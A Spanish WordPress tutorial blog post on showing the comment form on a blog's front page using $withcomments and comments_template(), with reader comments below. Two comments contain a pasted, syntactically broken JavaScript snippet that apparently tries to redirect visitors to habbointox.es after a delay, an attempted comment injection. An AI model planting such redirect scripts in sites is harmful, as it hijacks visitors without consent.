Normalmente el formulario de comentarios está en las páginas de post y página (valga la rebuznancia), pero puede haber alguna ocasión en que quieras mostrarlo en el índice de tu blog, pues allá vamos.

Seguro que, si has tenido esta necesidad, lo primero que se te ha ocurrido - tras revisar los archivos post.php y page.php - es incluir la función que "llama" al formulario de los comentarios, esta:

PHP:
  1. <?php comments_template(); ?>

Pero si es así ya habrás comprobado que el resultado es cero patatero, no funciona. Esto es debido a que en el fichero interno de WordPress llamado comment-template.php, situado en la carpeta wp-includes hay una configuración por defecto que no contempla mostrarlos en el índice. La parte que gestiona esto es la siguiente:

Donde se ha omitido la posibilidad de mostrarlos en la página principal. Por supuesto, puedes añadir esta opción, es tan simple como añadir is_home() junto a is_page() e is_single(), pero si actualizas WordPress vas a tener que acordarte siempre de volver a hacer este cambio.

Es mucho mejor añadir una nueva función a tu fichero index.php, esta:

PHP:
  1. <?php $withcomments = 1 ?>

Añades el código anterior antes de …

PHP:
  1. <?php get_header(); ?>

Y luego añades la función del formulario de comentarios en el Loop, donde quieras que aparezcan. Si, esta función, la que antes no funcionaba:

PHP:
  1. <?php comments_template(); ?>

Esta técnica solo tiene un fallo, y es que después de que alguien envíe un comentario será llevado, irremediablemente a la página del post, no permanece en la portada, salvo que a alguno se os ocurra como conseguirlo, a mi me pilláis ya espeso a estas horas y no doy con ello (se me ocurre que con algo de AJAX se podría).

¿A que mola?

Compartir en Tuenti Como mostrar comentarios en la página principal


También te puede interesar :

    8 comentarios en “Como mostrar comentarios en la página principal”

  1. Hola es interesante esta función y la quiero activar en mi blog, solo que no he entendido mucho, tal vez soy yo que no soy practico con este tipo de cosa.

    Quiero tener para los viernes y sábado un formulario abierto donde los usuarios puede opinar y dejar lo que quiero. Quiero que cada comentario aparezca en la portada del blog apenas el usuario lo envía.

    Alguien sabe decir si ahí plug in con el cual se pueda hacer dicha función.

    Gracias

    Puedes ver mi blog en http://www.radioareito.com

  2. ZenemiG (9 comentarios) dijo:

    Hola! Creo que es mi primera vez comentando aqui pero los vengo leyendo hace un tiempo. Primero quiero agradecerles por lo que hacen, me han ayudado mucho y es entretenido de leer. Dicho esto, les cuento que use esta tecnica en mi blog personal http://zenblog.chilombia.com y funciona de maravilla, pero tengo un pequeño problema no tan pequeño.

    Puse la navegacion de un post a otro entre el post y los comentarios para que la gente no tenga que llegar al fondo de los comentarios para ver el post anterior o posterior, pero como al comentar te lleva al single post, esa navegacion se pierde, y por mas que pongo el codigo correspondiente a esta navegacion en single.php, no aparece nunca.

    ¿Me podrian iluminar de por que no me dejar poner esa funcion en el single.php?

    Gracias

  3. Fernando Tellado (2339 comentarios) dijo:

    Hola ZenemiG :)

    Es algo que comentaba en el post y el mismo que generó el código para hacerlo no da con ello tampoco, te lleva irremediablemente a single. Prueba si acaso con lo que dicen en este comentario.

  4. PeiT (1 comentarios) dijo:

    Gracias, es justo lo que estaba buscando. :)

  5. var pagina="habbointox.es"
    function redireccionar()
    {
    location.href=www.habbointox.es
    }
    setTimeout ("redireccionar()", 20000);

  6. var pagina="http://ayudawordpress.com/como-mostrar-comentarios-en-la-pagina-principal/#comment-45599"
    function redireccionar()
    {
    location.href=www.habbointox.es
    }
    setTimeout ("redireccionar()", 20000);

Escribe un Comentario

Conectar con Facebook

XHTML: Puedes usar estos códigos: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>



Subir

Participa en el Debate
  • Cesar: No salio el quote. “Those readers who had “Liked” the previous article will now get...
  • Cesar: Sera que soy despistado, pero en que parte de facebook esta el lector de feed ? Se...
  • Pande: Ya, pero el problema no era sólo el xml del navegador, enlaza al feed (algo que no creo...
  • Jaime M.: Sinceramente, este plugin me parece abusivo. Como dicen por ahí arriba, tanto, que...
  • Daniel Batista: ok si ya cheque y borrando las cookies se soluciona. gracias y un saludo
Noticias Breves
  • El prestigioso diseñador web Rodrigo Galíndez, una vez más nos deleita con un impecable theme WordPress, de calidad premium, pero 100% gratis. Se trata de Modernist, de sutiles detalles minimalistas, con espacios equilibrados y un manejo profesional del blanco. Podés ver la demo y descargarlo aquí.

    [#5]

  • Si usas el plugin Simple Twitter Connect debes saber que desde hace un rato ya está disponible una actualización que incorpora el nuevo botón oficial de Twitter para compartir contenido.

    [#3]

  • Casi sin previo aviso está disponible WordPress 3.0.1 para descarga, de momento solo en inglés, en el sitio oficial. Esta actualización soluciona una cincuentena de pequeños fallos y poco más.

    [#14]


  • Ahora mismo en los FOROS ...
    Únete a la comunidad
    Usuarios Registrados
  • Acceder

  • Translate this Blog
    Spanish flagItalian flagChinese (Simplified) flagPortuguese flagEnglish flagGerman flagFrench flagJapanese flagRussian flagSwedish flagCatalan flagHebrew flag